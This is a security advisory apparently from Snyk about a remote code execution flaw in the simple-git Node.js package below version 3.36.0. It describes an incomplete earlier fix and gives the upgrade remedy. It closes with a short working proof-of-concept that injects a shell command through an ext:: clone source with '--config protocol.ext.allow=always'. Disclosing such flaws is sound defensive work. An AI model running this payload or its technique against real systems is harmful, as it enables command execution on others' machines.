Remote Code Execution (RCE) Affecting simple-git package, versions <3.36.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-SIMPLEGIT-15456078
- published24 Apr 2026
- disclosed7 Mar 2026
- creditKuycheu Kung
Introduced: 7 Mar 2026
CVE-2026-6951 (opens in a new tab)How to fix?
Upgrade simple-git to version 3.36.0 or higher.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to an incomplete fix for CVE-2022-25912 that blocks the -c option but not the equivalent --config form. If untrusted input can reach the options argument passed to simple-git, an attacker may still achieve remote code execution by enabling protocol.ext.allow=always and using an ext:: clone source.
PoC
const simpleGit = require('simple-git')
const myGit = simpleGit()
myGit.clone('ext::sh -c touch% /tmp/pwned_by_kkc% >&2', '/tmp/example-new-repo', ['--config', 'protocol.ext.allow=always'])